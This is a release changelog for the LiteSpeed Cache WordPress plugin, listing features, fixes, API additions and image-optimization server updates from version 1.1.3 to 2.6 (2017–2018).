= 2.6 - Sep 22 2018 = * Vary: Moved `litespeed_cache_api_vary` hook outside of OLS condition for .htaccess generation. * CDN: Trim spaces in original URL of CDN setting. * API: New filter `litespeed_option_` to change all options dynamically. * API: New `LiteSpeed_Cache_API::force_option()` to change all options dynamically. * API: New `LiteSpeed_Cache_API::vary()` to set default vary directly for easier compaitiblity with WPML WooCommerce Multilingual. * API: New `LiteSpeed_Cache_API::nonce()` to safely and easily allow caching of wp-nonce. * API: New `LiteSpeed_Cache_API::hook_vary_add()` to add new vary. * Optm: Changed HTML/JS/CSS optimization options assignment position from constructor to `finalize()`. * Doc: Added nonce to FAQ and mentioned nonce in 3rd Party Compatibility section. * GUI: Moved inline minify to under html minify due to the dependency. * 3rd: Cached Aelia CurrencySwitcher by default. * 🐞: Fixed issue where enabling remote JQuery caused missing jquery-migrate library error. = 2.5.1 - Sep 11 2018 = * 🌱 Responsive placeholder. (@szmigieldesign) * Changed CSS::ccss_realpath function scope to private. * 🐞 Detected JS filetype before optimizing to avoid PHP source conflict. (@closte #50) = 2.5 - Sep 6 2018 = * [IMPROVEMENT] CLI can now execute Remove Original Image Backups. (@Shon) * [UPDATE] Fixed issue where WP-PostViews documentation contained extra slashes. (#545638) * [UPDATE] Check LITESPEED_SERVER_TYPE for more accurate LSCache Disabled messaging. * [IAPI] Fixed a bug where optimize/fetch error notification was not being received. (@LucasRolff) = 2.4.4 - Aug 31 2018 = * [NEW] CLI can now support image optimization. (@Shon) * [IMPROVEMENT] GUI Cron/CLI will not create admin message anymore. * [UPDATE] Media Fixed a PHP notice that appeared when pulling optimized images. * [UPDATE] Fixed a PHP notice when detecting origin of ajax call. (@iosoft) * [DEBUG] Debug log can now log referer URL. * [DEBUG] Changes to options will now be logged. = 2.4.3 - Aug 27 2018 = * [NEW] Media Ability to inline image lazyload JS library. (@Music47ell) * [IMPROVEMENT] Media Deleting images will now clear related optimization file & info too. * [IMPROVEMENT] Media Non-image postfix data will now be bypassed before sending image optimization request. * [BUGFIX] CDN CDN URL will no longer be replaced during admin ajax call. (@pankaj) * [BUGFIX] CLI WPCLI can now save options without incorrectly clearing textarea items. (@Shon) * [GUI] Moved Settings above Manage on the main menu. = 2.4.2 - Aug 21 2018 = * [IMPROVEMENT] Media Sped up Image Optimization process by replacing IAPI server pull communication. * [IMPROVEMENT] Media Ability to delete optimized WebP/original image by item in Media Library. (@redgoodapple) * [IMPROVEMENT] CSS Optimize Generate new optimized CSS name based on purge timestamp. Allows CSS cache to be cleared for visitors. (@bradbrownmagic) * [IMPROVEMENT] API added litespeed_img_optm_options_per_image. (@gintsg) * [UPDATE] Stopped showing "No Image Found" message when all images have finished optimization. (@knutsp) * [UPDATE] Improved a PHP warning when saving settings. (@sergialarconrecio) * [UPDATE] Changed backend adminbar icon default behavior from Purge All to Purge LSCache. * [UPDATE] Clearing CCSS cache will clear unfinished queue too. * [UPDATE] Added "$" exact match when adding URL by frontend adminbar dropdown menu, to avoid affecting any sub-URLs. * [UPDATE] Fixed IAPI error message showing array bug. (@thiomas) * [UPDATE] Debug Disable All will do a Purge All. * [UPDATE] Critical CSS server IP changed to 142.93.3.57. * [GUI] Showed plugin update link for IAPI version message. * [GUI] Bypassed null IAPI response message. * [GUI] Grouped related settings with indent. * [IAPI] Added 503 handler for IAPI response. * [IAPI] IAPI v2.4.2. * [IAPI] Center Server IP Changed from 34.198.229.186 to 142.93.112.87. = 2.4.1 - Jul 19 2018 = * [NEW FEATURE] Media Auto Level Up. Auto refill credit. * [NEW FEATURE] Media Auto delete original backups after pulled. (@borisov87 @JMCA2) * [NEW FEATURE] Media Auto request image optimization. (@ericsondr) * [IMPROVEMENT] Media Fetch 404 error will notify client as other errors. * [IMPROVEMENT] Media Support WebP for PageSpeed Insights. (@LucasRolff) * [BUGFIX] CLI Fixed the issue where CLI import/export caused certain textarea settings to be lost. (#767519) * [BUGFIX] CSS Optimize Fixed the issue that duplicated optimized CSS and caused rapid expansion of CSS cache folder. * [GUI] Media Refactored operation workflow and interface. * [UPDATE] Media Set timeout seconds to avoid pulling timeout. (@Jose) * [UPDATE] CDNFixed the notice when no path is in URL. (@sabitkamera) * [UPDATE] Media Auto correct credits when pulling. * [UPDATE] GUI Removed redundant double quote in gui.cls. (@DaveyJake) * [IAPI] IAPI v2.4.1. * [IAPI] Allow new error status notification and success message from IAPI. = 2.4 - Jul 2 2018 = * [NEW FEATURE] Media Added lossless optimization. * [NEW FEATURE] Media Added Request Original Images ON/OFF. * [NEW FEATURE] Media Added Request WebP ON/OFF. (@JMCA2) * [IMPROVEMENT] Media Improved optimization tools to archive maximum compression and score. * [IMPROVEMENT] Media Improved speed of image pull. * [IMPROVEMENT] Media Automatically recover credit after pulled. * [REFACTOR] Config Separated configure const class. * [BUGFIX] Report Report can be sent successfully with emoji now. (@music47ell) * [IAPI] New Europe Image Optimization server (EU3/EU4). * [IAPI] New America Image Optimization server (US3/US4/US5/US6). * [IAPI] New Asian Image Optimization server (AS3). * [IAPI] Refactored optimization process. * [IAPI] Increased credit limit. * [IAPI] Removed request interval limit. * [IAPI] IAPI v2.4. * We strongly recommended that you re-optimize your image library to get a better compression result. = 2.3.1 - Jun 18 2018 = * [IMPROVEMENT] New setting to disable Generate Critical CSS. (@cybmeta) * [IMPROVEMENT] Added filter to can_cdn/can_optm check. (@Jacob) * [UPDATE] *Critical CSS* Added 404 css. Limit cron interval. * [UPDATE] AJAX will not bypass CDN anymore by default. (@Jacob) * [GUI] Show Disable All Features warning if it is on in Debug tab. = 2.3 - Jun 13 2018 = * [NEW FEATURE] Automatically generate critical CSS. (@joeee @ivan_ivanov @3dseo) * [BUGFIX] "Mark this page as..." from dropdown menu will not reset settings anymore. (@cbratschi) = 2.2.7 - Jun 4 2018 = * [IMPROVEMENT] Improved redirection for manual image pull to avoid too many redirections warning. * [IAPI] Increased credit limit. * [BUGFIX] Fixed 503 error when enabling log filters in Debug tab. (#525206) * [UPDATE] Improve compatibility when using sitemap url on servers with allow_url_open off. * [UPDATE] Removed Crawler HTTP2 option due to causing no-cache blacklist issue for certain environments. * [UPDATE] Privacy policy can be now translated. (@Josemi) * [UPDATE] IAPI Increased default img request max to 3000. = 2.2.6 - May 24 2018 = * [NEW FEATURE] Original image backups can be removed now. (@borisov87 @JMCA2) * [BUGFIX] Role Excludes in Tuning tab can save now. (@pako69) * [UPDATE] Added privacy policy support. = 2.2.5 - May 14 2018 = * [IAPI] Image Optimization New Asian Image Optimization server (AS2). * [INTEGRATION] Removed wpForo 3rd party file. (@massimod) = 2.2.4 - May 7 2018 = * [IMPROVEMENT] Improved compatibility with themes using the same js_min library. (#129093 @Darren) * [BUGFIX] Fixed a bug when checking image path for dynamic files. (@miladk) * [INTEGRATION] Compatibility with Universal Star Rating. (@miladk) = 2.2.3 - Apr 27 2018 = * [NEW FEATURE] WebP For Extra srcset setting in Media tab. (@vengen) * [REFACTOR] Removed redundant LS consts. * [REFACTOR] Refactored adv_cache generation flow. * [BUGFIX] Fixed issue where inline JS minify exception caused a blank page. (@oomskaap @kenb1978) * [UPDATE] Changed HTTP/2 Crawl default value to OFF. * [UPDATE] Added img.data-src to default WebP replacement value for WooCommerce WebP support. * [UPDATE] Detached crawler from LSCache LITESPEED_ON status. * [API] Improved ESI API to honor the cache control in ESI wrapper. * [API] Added LITESPEED_PURGE_SILENT const to bypass the notification when purging * [INTEGRATION] Fixed issue with nonce expiration when using ESI API. (#923505 @Dan) * [INTEGRATION] Improved compatibility with Ninja Forms by bypassing non-javascript JS from inline JS minify. * [INTEGRATION] Added a hook for plugins that change the CSS/JS path e.g. Hide My WordPress. = 2.2.2 - Apr 16 2018 = * [NEW FEATURE] WebP Attribute To Replace setting in Media tab. (@vengen) * [IMPROVEMENT] Generate adv_cache file automatically when it is lost. * [IMPROVEMENT] Improved compatibility with ajax login. (@veganostomy) * [UPDATE] Added object cache lib check in case user downgrades LSCWP to non-object-cache versions. * [UPDATE] Avoided infinite loop when users enter invalid hook values in Purge All Hooks settings. * [UPDATE] Updated log format in media&cdn class. * [UPDATE] Added more items to Report. = 2.2.1 - Apr 10 2018 = * [NEW FEATURE] Included Directories setting in CDN tab. (@Dave) * [NEW FEATURE] Purge All Hooks setting in Advanced tab. * [UPDATE] Added background-image WebP replacement support. (@vengen) * [UPDATE] Show recommended values for textarea items in settings. * [UPDATE] Moved CSS/JS optimizer log to Advanced level. * [INTEGRATION] Added WebP support for Avada Fusion Sliders. (@vengen) = 2.2.0.2 - Apr 3 2018 = * [HOTFIX] Object Cache Fixed the PHP warning caused by previous improvement to Object Cache. = 2.2.0.1 - Apr 3 2018 = * [HOTFIX] Object parameter will no longer cause warnings to be logged for Purge and Cache classes. (@kelltech @khrifat) * [UPDATE] Removed duplicated del_file func from Object Cache class. * [BUGFIX] `CLI` no longer shows 400 error upon successful result. = 2.2 - Apr 2 2018 = * [NEW FEATURE] Debug Disable All Features setting in Debug tab. (@monarobase) * [NEW FEATURE] Cache Force Cacheable URIs setting in Excludes tab. * [NEW FEATURE] Purge Purge all LSCache and other caches in one link. * [REFACTOR] Purge Refactored Purge class. * [BUGFIX] Query strings in DoNotCacheURI setting now works. * [BUGFIX] Cache Mobile cache compatibility with WebP vary. (@Shivam #987121) * [UPDATE] Purge Moved purge_all to Purge class from core class. * [API] Set cacheable/Set force cacheable. (@Jacob) = 2.1.2 - Mar 28 2018 = * [NEW FEATURE] Image Optimization Clean Up Unfinished Data feature. * [IAPI] IAPI v2.1.2. * [IMPROVEMENT] CSS/JS Minify Reduced loading time significantly by improving CSS/JS minify loading process. (@kokers) * [IMPROVEMENT] CSS/JS Minify Cache empty JS Minify content. (@kokers) * [IMPROVEMENT] Cache Cache 301 redirect when scheme/host are same. * [BUGFIX] Media Lazy load now can support WebP. (@relle) * [UPDATE] CSS/JS Optimize Serve static files for CSS async & lazy load JS library. * [UPDATE] Report Appended Basic/Advanced View setting to Report. * [UPDATE] CSS/JS Minify Removed zero-width space from CSS/JS content. * [GUI] Added Purge CSS/JS Cache link in Admin. = 2.1.1.1 - Mar 21 2018 = * [BUGFIX] Fixed issue where activation failed to add rules to .htaccess. * [BUGFIX] Fixed issue where 304 header was blank on feed page refresh. = 2.1.1 - Mar 20 2018 = * [NEW FEATURE] Browser Cache Unlocked for non-LiteSpeed users. * [IMPROVEMENT] Image Optimization Fixed issue where images with bad postmeta value continued to show in not-yet-requested queue. = 2.1 - Mar 15 2018 = * [NEW FEATURE] Image Optimization Unlocked for non-LiteSpeed users. * [NEW FEATURE] Object Cache Unlocked for non-LiteSpeed users. * [NEW FEATURE] Crawler Unlocked for non-LiteSpeed users. * [NEW FEATURE] Database Cleaner and Optimizer Unlocked for non-LiteSpeed users. * [NEW FEATURE] Lazy Load Images Unlocked for non-LiteSpeed users. * [NEW FEATURE] CSS/JS/HTML Minify/Combine Optimize Unlocked for non-LiteSpeed users. * [IAPI] IAPI v2.0. * [IAPI] Increased max rows prefetch when client has additional credit. * [IMPROVEMENT] CDN Multiple domains may now be used. * [IMPROVEMENT] Report Added WP environment constants for better debugging. * [REFACTOR] Separated Cloudflare CDN class. * [BUGFIX] Image Optimization Fixed issue where certain MySQL version failed to create img_optm table. (@philippwidmer) * [BUGFIX] Image Optimization Fixed issue where callback validation failed when pulling and sending request simultaneously. * [GUI] Added Slack community banner. * [INTEGRATION] CDN compatibility with WPML multiple domains. (@egemensarica) = 2.0 - Mar 7 2018 = * [NEW FEATURE] Image Optimization Added level up guidance. * [REFACTOR] Image Optimization Refactored Image Optimization class. * [IAPI] Image Optimization New European Image Optimization server (EU2). * [IMPROVEMENT] Image Optimization Manual pull action continues pulling until complete. * [IMPROVEMENT] CDN Multiple CDNs can now be randomized for a single resource. * [IMPROVEMENT] Image Optimization Improved compatibility of long src images. * [IMPROVEMENT] Image Optimization Reduced runtime load. * [IMPROVEMENT] Image Optimization Avoid potential loss/reset of notified images status when pulling. * [IMPROVEMENT] Image Optimization Avoid duplicated optimization for multiple records in Media that have the same image source. * [IMPROVEMENT] Image Optimization Fixed issue where phantom images continued to show in not-yet-requested queue. * [BUGFIX] Core Improved compatibility when upgrading outside of WP Admin. (@jikatal @TylorB) * [BUGFIX] Crawler Improved HTTP/2 compatibility to avoid erroneous blacklisting. * [BUGFIX] Crawler Changing Delay setting will use server variable for min value validation if set. * [UPDATE] Crawler Added HTTP/2 protocol switch in the Crawler settings. * [UPDATE] Removed unnecessary translation strings. * [GUI] Display translated role group name string instead of English values. (@Richard Hordern) * [GUI] Added Join LiteSpeed Slack link. * [GUI] Import / Export Cosmetic changes to Import Settings file field. * [INTEGRATION] Improved compatibility with WPML Media for Image Optimization. (@szmigieldesign) = 1.9.1.1 - February 20 2018 = * [Hotfix] Removed empty crawler when no role simulation is set. = 1.9.1 - February 20 2018 = * [NEW FEATURE] Role Simulation crawler. * [NEW FEATURE] WebP multiple crawler. * [NEW FEATURE] HTTP/2 support for crawler. * [BUGFIX] Fixed a js bug with the auto complete mobile user agents field when cache mobile is turned on. * [BUGFIX] Fixed a constant undefined warning after activation. * [GUI] Sitemap generation settings are no longer hidden when using a custom sitemap. = 1.9 - February 12 2018 = * [NEW FEATURE] Inline CSS/JS Minify. * [IMPROVEMENT] Removed Composer vendor to thin the plugin folder. * [UPDATE] Tweaked H2 to H1 in Admin headings for accessibility. (@steverep) * [GUI] Added Mobile User Agents to basic view. * [GUI] Moved Object Cache & Browser Cache from Cache tab to Advanced tab. * [GUI] Moved LSCache Purge All from Adminbar to dropdown menu. = 1.8.3 - February 2 2018 = * [NEW FEATURE] Crawler server variable limitation support. * [IMPROVEMENT] Added Store Transients option to fix transients missing issue when Cache Wp-Admin setting is OFF. * [IMPROVEMENT] Tweaked ARIA support. (@steverep) * [IMPROVEMENT] Used strpos instead of strncmp for performance. (@Zach E) * [BUGFIX] Transient cache can now be removed when the Cache Wp-Admin setting is ON in Object Cache. * [BUGFIX] Network sites can now save Advanced settings. * [BUGFIX] Media list now shows in network sites. * [BUGFIX] Show Crawler Status button is working again. * [UPDATE] Fixed a couple of potential PHP notices in the Network cache tab and when no vary group is set. * [GUI] Added Learn More link to all setting pages. = 1.8.2 - January 29 2018 = * [NEW FEATURE] Instant Click in the Advanced tab. * [NEW FEATURE] Import/Export settings. * [NEW FEATURE] Opcode Cache support. * [NEW FEATURE] Basic/Advanced setting view. * [IMPROVEMENT] Added ARIA support in widget settings. * [BUGFIX] Multiple WordPress instances with same Object Cache address will no longer see shared data. * [BUGFIX] WebP Replacement may now be set at the Network level. * [BUGFIX] Object Cache file can now be removed at the Network level uninstall. = 1.8.1 - January 22 2018 = * [NEW FEATURE] Object Cache now supports Redis. * [IMPROVEMENT] Memcached Object Cache now supports authorization. * [IMPROVEMENT] A 500 error will no longer be encountered when turning on Object Cache without the proper PHP extension installed. * [BUGFIX] Object Cache settings can now be saved at the Network level. * [BUGFIX] Mu-plugin now supports Network setting. * [BUGFIX] Fixed admin bar showing inaccurate Edit Page link. * [UPDATE] Removed warning information when no Memcached server is available. = 1.8 - January 17 2018 = * [NEW FEATURE] Object Cache. * [REFACTOR] Refactored Log class. * [REFACTOR] Refactored LSCWP basic const initialization. * [BUGFIX] Fixed Cloudflare domain search breaking when saving more than 50 domains under a single account. * [UPDATE] Log filter settings are now their own item in the wp-option table. = 1.7.2 - January 5 2018 = * [NEW FEATURE] Cloudflare API support. * [IMPROVEMENT] IAPI key can now be reset to avoid issues when domain is changed. * [BUGFIX] Fixed JS optimizer breaking certain plugins JS. * [UPDATE] Added cdn settings to environment report. * [GUI] Added more shortcuts to backend adminbar. * [INTEGRATION] WooCommerce visitors are now served from public cache when cart is empty. = 1.7.1.1 - December 29 2017 = * [BUGFIX] Fixed an extra trailing underscore issue when saving multiple lines with DNS Prefetch. * [UPDATE] Cleaned up unused dependency vendor files. = 1.7.1 - December 28 2017 = * [NEW FEATURE] Added DNS Prefetch setting on the Optimize page. * [NEW FEATURE] Added Combined File Max Size setting on the Tuning page. * [IMPROVEMENT] Improved JS/CSS minify to achieve higher page scores. * [IMPROVEMENT] Optimized JS/CSS files will not be served from private cache for OLS or with ESI off. * [UPDATE] Fixed a potential warning for new installations on the Settings page. * [UPDATE] Fixed an issue with guest users occasionally receiving PHP warnings. * [BUGFIX] Fixed a bug with the Improve HTTPS Compatibility setting failing to save. * Thanks to all of our users for your encouragement and support! Happy New Year! * PS: Lookout 2018, we're back! = 1.7 - December 22 2017 = * [NEW FEATURE] Drop Query Strings setting in the Cache tab. * [NEW FEATURE] Multiple CDN Mapping in the CDN tab. * [IMPROVEMENT] Improve HTTP/HTTPS Compatibility setting in the Advanced tab. * [IMPROVEMENT] Keep JS/CSS original position in HTML when excluded in setting. * [IAPI] Reset client level credit after Image Optimization data is destroyed. * [REFACTOR] Refactored build_input/textarea functions in admin_display class. * [REFACTOR] Refactored CDN class. * [GUI] Added a notice to Image Optimization and Crawler to warn when cache is disabled. * [GUI] Improved image optimization indicator styles in Media Library List. = 1.6.7 - December 15 2017 = * [IAPI] Added ability to scan for new image thumbnail sizes and auto-resend image optimization requests. * [IAPI] Added ability to destroy all optimization data. * [IAPI] Updated IAPI to v1.6.7. * [INTEGRATION] Fixed certain 3rd party plugins calling REST without user nonce causing logged in users to be served as guest. = 1.6.6.1 - December 8 2017 = * [IAPI] Limit first-time submission to one image group for test-run purposes. * [BUGFIX] Fixed vary group generation issue associated with custom user role plugins. * [BUGFIX] Fixed WooCommerce issue where logged-in users were erroneously purged when ESI is off. * [BUGFIX] Fixed WooCommerce cache miss issue when ESI is off. = 1.6.6 - December 6 2017 = * [NEW FEATURE] Preserve EXIF in Media setting. * [NEW FEATURE] Clear log button in Debug Log Viewer. * [IAPI] Fixed notified images resetting to previous status when pulling. * [IAPI] Fixed HTTPS compatibility for image optimization initialization. * [IAPI] An error message is now displayed when image optimization request submission is bypassed due to a lack of credit. * [IAPI] IAPI v1.6.6. * [IMPROVEMENT] Support JS data-no-optimize attribute to bypass optimization. * [GUI] Added image group wiki link. * [INTEGRATION] Improved compatibility with Login With Ajax. * [INTEGRATION] Added function_exists check for WooCommerce to avoid 500 errors. = 1.6.5.1 - December 1 2017 = * [HOTFIX] Fixed warning message on Edit .htaccess page. = 1.6.5 - November 30 2017 = * [IAPI] Manually pull image optimization action button. * [IAPI] Automatic credit system for image optimization to bypass unfinished image optimization error. * [IAPI] Notify failed images from LiteSpeed's Image Server. * [IAPI] Reset/Clear failed images feature. * [IAPI] Redesigned report page. * [REFACTOR] Moved pull_img logic from admin_api to media. * [BUGFIX] Fixed a compatibility issue for clients who have allow_url_open setting off. * [BUGFIX] Fixed logged in users sometimes being served from guest cache. * [UPDATE] Environment report is no longer saved to a file. * [UPDATE] Removed crawler reset notification. * [GUI] Added more details on image optimization. * [GUI] Removed info page from admin menu. * [GUI] Moved environment report from network level to single site level. * [GUI] Crawler time added in a user friendly format. * [INTEGRATION] Improved compatibility with FacetWP json call. = 1.6.4 - November 22 2017 = * [NEW FEATURE] Send env reports privately with a new built-in report number referral system. * [IAPI] Increased request timeout to fix a cUrl 28 timeout issue. * [BUGFIX] Fixed a TTL max value validation bug. * [INTEGRATION] Improved Contact Form 7 REST call compatibility for logged in users. * Thanks for all your ratings. That encouraged us to be more diligent. Happy Thanksgiving. = 1.6.3 - November 17 2017 = * [NEW FEATURE] Only async Google Fonts setting. * [NEW FEATURE] Only create WebP images when optimizing setting. * [NEW FEATURE] Batch switch images to original/optimized versions in Image Optimization. * [NEW FEATURE] Browser Cache TTL setting. * [NEW FEATURE] Cache WooCommerce Cart setting. * [IMPROVEMENT] Moved optimized JS/CSS snippet in header html to after meta charset. * [IMPROVEMENT] Added a constant for better JS/CSS optimization compatibility for different dir WordPress installation. * [IAPI] Take over failed callback check instead of bypassing it. * [IAPI] Image optimization requests are now limited to 500 images per request. * [BUGFIX] Fixed a parsing failure bug not using attributes in html elements with dash. * [BUGFIX] Fixed a bug causing non-script code to move to the top of a page when not using combination. * [UPDATE] Added detailed logs for external link detection. * [UPDATE] Added new lines in footer comment to avoid Firefox crash when enabled HTML minify. * [API] `Purge private` / `Purge private all` / `Add private tag` functions. * [GUI] Redesigned image optimization operation links in Media Lib list. * [GUI] Tweaked wp-admin form save button position. * [GUI] Added "learn more" link for image optimization. = 1.6.2.1 - November 6 2017 = * [INTEGRATION] Improved compatibility with old WooCommerce versions to avoid unknown 500 errors. * [BUGFIX] Fixed WebP images sometimes being used in non-supported browsers. * [BUGFIX] Kept query strings for HTTP/2 push to avoid re-fetching pushed sources. * [BUGFIX] Excluded JS/CSS from HTTP/2 push when using CDN. * [GUI] Fixed a typo in Media list. * [GUI] Made more image optimization strings translatable. * [GUI] Updated Tuning description to include API documentation. = 1.6.2 - November 3 2017 = * [NEW FEATURE] Do Not Cache Roles. * [NEW FEATURE] Use WebP Images for supported browsers. * [NEW FEATURE] Disable Optimization Poll ON/OFF Switch in Media tab. * [NEW FEATURE] Revert image optimization per image in Media list. * [NEW FEATURE] Disable/Enable image WebP per image in Media list. * [IAPI] Limit optimized images fetching cron to a single process. * [IAPI] Updated IAPI to v1.6.2. * [IAPI] Fixed repeating image request issue by adding a failure status to local images. * [REFACTOR] Refactored login vary logic. = 1.6.1 - October 29 2017 = * [IAPI] Updated LiteSpeed Image Optimization Server API to v1.6.1. = 1.6 - October 27 2017 = * [NEW FEATURE] Image Optimization. * [NEW FEATURE] Role Excludes for Optimization. * [NEW FEATURE] Combined CSS/JS Priority. * [IMPROVEMENT] Bypass CDN for login/register page. * [UPDATE] Expanded ExpiresByType rules to include new font types. ( Thanks to JMCA2 ) * [UPDATE] Removed duplicated type param in admin action link. * [BUGFIX] Fixed CDN wrongly replacing img base64 and "fake" src in JS. * [BUGFIX] Fixed image lazy load replacing base64 src. * [BUGFIX] Fixed a typo in Optimize class exception. * [GUI] New Tuning tab in admin settings panel. * [REFACTOR] Simplified router by reducing actions and adding types. * [REFACTOR] Renamed `run()` to `finalize()` in buffer process. = 1.5 - October 17 2017 = * [NEW FEATURE] Exclude JQuery (to fix inline JS error when using JS Combine). * [NEW FEATURE] Load JQuery Remotely. * [NEW FEATURE] JS Deferred Excludes. * [NEW FEATURE] Lazy Load Images Excludes. * [NEW FEATURE] Lazy Load Image Placeholder. * [IMPROVEMENT] Improved Lazy Load size attribute for w3c validator. * [UPDATE] Added basic caching info and LSCWP version to HTML comment. * [UPDATE] Added debug log to HTML detection. * [BUGFIX] Fixed potential font CORS issue when using CDN. * [GUI] Added API docs to setting description. * [REFACTOR] Relocated all classes under includes with backwards compatibility. * [REFACTOR] Relocated admin templates. = 1.4 - October 11 2017 = * [NEW FEATURE] Lazy load images/iframes. * [NEW FEATURE] Clean CSS/JS optimizer data functionality in DB Optimizer panel. * [NEW FEATURE] Exclude certain URIs from optimizer. * [IMPROVEMENT] Improved optimizer HTML check compatibility to avoid conflicts with ESI functions. * [IMPROVEMENT] Added support for using ^ when matching the start of a path in matching settings. * [IMPROVEMENT] Added wildcard support in CDN original URL. * [IMPROVEMENT] Moved optimizer table initialization to admin setting panel with failure warning. * [UPDATE] Added a one-time welcome banner. * [UPDATE] Partly relocated class: 'api'. * [API] Added API wrapper for removing wrapped HTML output. * [INTEGRATION] Fixed WooCommerce conflict with optimizer. * [INTEGRATION] Private cache support for WooCommerce v3.2.0+. * [GUI] Added No Optimization menu to frontend. = 1.3.1.1 - October 6 2017 = * [BUGFIX] Improved optimizer table creating process in certain database charset to avoid css/js minify/combination failure. = 1.3.1 - October 5 2017 = * [NEW FEATURE] Remove WP Emoji Option. * [IMPROVEMENT] Separated optimizer data from wp_options to improve compatibility with backup plugins. * [IMPROVEMENT] Enhanced crawler cron hook to prevent de-scheduling in some cases. * [IMPROVEMENT] Enhanced Remove Query Strings to also remove Emoji query strings. * [IMPROVEMENT] Enhanced HTML detection when extra spaces are present at the beginning. * [UPDATE] Added private cache support for OLS. * [BUGFIX] Self-redirects are no longer cached. * [BUGFIX] Fixed css async lib warning when loading in HTTP/2 push. = 1.3 - October 1 2017 = * [NEW FEATURE] Added Browser Cache support. * [NEW FEATURE] Added Remove Query Strings support. * [NEW FEATURE] Added Remove Google Fonts support. * [NEW FEATURE] Added Load CSS Asynchronously support. * [NEW FEATURE] Added Load JS Deferred support. * [NEW FEATURE] Added Critical CSS Rules support. * [NEW FEATURE] Added Private Cached URIs support. * [NEW FEATURE] Added Do Not Cache Query Strings support. * [NEW FEATURE] Added frontend adminbar shortcuts ( Purge this page/Do Not Cache/Private cache ). * [IMPROVEMENT] Do Not Cache URIs now supports full URLs. * [IMPROVEMENT] Improved performance of Do Not Cache settings. * [IMPROVEMENT] Encrypted vary cookie. * [IMPROVEMENT] Enhanced HTML optimizer. * [IMPROVEMENT] Limited combined file size to avoid heavy memory usage. * [IMPROVEMENT] CDN supports custom upload folder for media files. * [API] Added purge single post API. * [API] Added version compare API. * [API] Enhanced ESI API for third party plugins. * [INTEGRATION] Compatibility with NextGEN Gallery v2.2.14. * [INTEGRATION] Compatibility with Caldera Forms v1.5.6.2+. * [BUGFIX] Fixed CDN&Minify compatibility with css url links. * [BUGFIX] Fixed .htaccess being regenerated despite there being no changes. * [BUGFIX] Fixed CDN path bug for subfolder WP instance. * [BUGFIX] Fixed crawler path bug for subfolder WP instance with different site url and home url. * [BUGFIX] Fixed a potential Optimizer generating redundant duplicated JS in HTML bug. * [GUI] Added a more easily accessed submit button in admin settings. * [GUI] Admin settings page cosmetic changes. * [GUI] Reorganized GUI css/img folder structure. * [REFACTOR] Refactored configuration init. * [REFACTOR] Refactored admin setting save. * [REFACTOR] Refactored .htaccess operator and rewrite rule generation. = 1.2.3.1 - September 20 2017 = * [UPDATE] Improved PHP5.3 compatibility. = 1.2.3 - September 20 2017 = * [NEW FEATURE] Added CDN support. * [IMPROVEMENT] Improved compatibility when upgrading by fixing a possible fatal error. * [IMPROVEMENT] Added support for custom wp-content paths. * [BUGFIX] Fixed non-primary network blogs not being able to minify. * [BUGFIX] Fixed HTML Minify preventing Facebook from being able to parse og tags. * [BUGFIX] Preview page is no longer cacheable. * [BUGFIX] Corrected log and crawler timezone to match set WP timezone. * [GUI] Revamp of plugin GUI. = 1.2.2 - September 15 2017 = * [NEW FEATURE] Added CSS/JS minification. * [NEW FEATURE] Added CSS/JS combining. * [NEW FEATURE] Added CSS/JS HTTP/2 server push. * [NEW FEATURE] Added HTML minification. * [NEW FEATURE] Added CSS/JS cache purge button in management. * [UPDATE] Improved debug log formatting. * [UPDATE] Fixed some description typos. = 1.2.1 - September 7 2017 = * [NEW FEATURE] Added Database Optimizer. * [NEW FEATURE] Added Tab switch shortcut. * [IMPROVEMENT] Added cache disabled check for management pages. * [IMPROVEMENT] Renamed .htaccess backup for security. * [BUGFIX] Fixed woocommerce default ESI setting bug. * [REFACTOR] Show ESI page for OLS with notice. * [REFACTOR] Management Purge GUI updated. = 1.2.0.1 - September 1 2017 = * [BUGFIX] Fixed a naming bug for network constant ON2. = 1.2.0 - September 1 2017 = * [NEW FEATURE] Added ESI support. * [NEW FEATURE] Added a private cache TTL setting. * [NEW FEATURE] Debug level can now be set to either 'Basic' or 'Advanced'. * [REFACTOR] Renamed const 'NOTSET' to 'ON2' in class config. = 1.1.6 - August 23 2017 = * [NEW FEATURE] Added option to privately cache logged-in users. * [NEW FEATURE] Added option to privately cache commenters. * [NEW FEATURE] Added option to cache requests made through WordPress REST API. * [BUGFIX] Fixed network 3rd-party full-page cache detection bug. * [GUI] New Cache and Purge menus in Settings. = 1.1.5.1 - August 16 2017 = * [IMPROVEMENT] Improved compatibility of frontend&backend .htaccess path detection when site url is different than installation path. * [UPDATE] Removed unused format string from header tags. * [BUGFIX] 'showheader' Admin Query String now works. * [REFACTOR] Cache tags will no longer output if not needed. = 1.1.5 - August 10 2017 = * [NEW FEATURE] Scheduled Purge URLs feature. * [NEW FEATURE] Added buffer callback to improve compatibility with some plugins that force buffer cleaning. * [NEW FEATURE] Hide purge_all admin bar quick link if cache is disabled. * [NEW FEATURE] Required htaccess rules are now displayed when .htaccess is not writable. * [NEW FEATURE] Debug log features: filter log support; heartbeat control; log file size limit; log viewer. * [IMPROVEMENT] Separate crawler access log. * [IMPROVEMENT] Lazy PURGE requests made after output are now queued and working. * [IMPROVEMENT] Improved readme.txt with keywords relating to our compatible plugins list. * [UPDATE] 'ExpiresDefault' conflict msg is now closeable and only appears in the .htaccess edit screen. * [UPDATE] Improved debug log formatting. * [INTEGRATION] Compatibility with MainWP plugin. * [BUGFIX] Fixed WooCommerce order not purging product stock quantity. * [BUGFIX] Fixed WooCommerce scheduled sale price not updating issue. * [REFACTOR] Combined cache_enable functions into a single function. = 1.1.4 - August 1 2017 = * [IMPROVEMENT] Unexpected rewrite rules will now show an error message. * [IMPROVEMENT] Added Cache Tag Prefix setting info in the Env Report and Info page. * [IMPROVEMENT] LSCWP setting link is now displayed in the plugin list. * [IMPROVEMENT] Improved performance when setting cache control. * [UPDATE] Added backward compatibility for v1.1.2.2 API calls. (used by 3rd-party plugins) * [BUGFIX] Fixed WPCLI purge tag/category never succeeding. = 1.1.3 - July 31 2017 = * [NEW FEATURE] New LiteSpeed_Cache_API class and documentation for 3rd party integration. * [NEW FEATURE] New API function litespeed_purge_single_post($post_id). * [NEW FEATURE] PHP CLI support for crawler. * [IMPROVEMENT] Set 'no cache' for same location 301 redirects. * [IMPROVEMENT] Improved LiteSpeed footer comment compatibility. * [UPDATE] Removed 'cache tag prefix' setting. * [BUGFIX] Fixed a bug involving CLI purge all. * [BUGFIX] Crawler now honors X-LiteSpeed-Cache-Control for the 'no-cache' header. * [BUGFIX] Cache/rewrite rules are now cleared when the plugin is uninstalled. * [BUGFIX] Prevent incorrect removal of the advanced-cache.php on deactivation if it was added by another plugin. 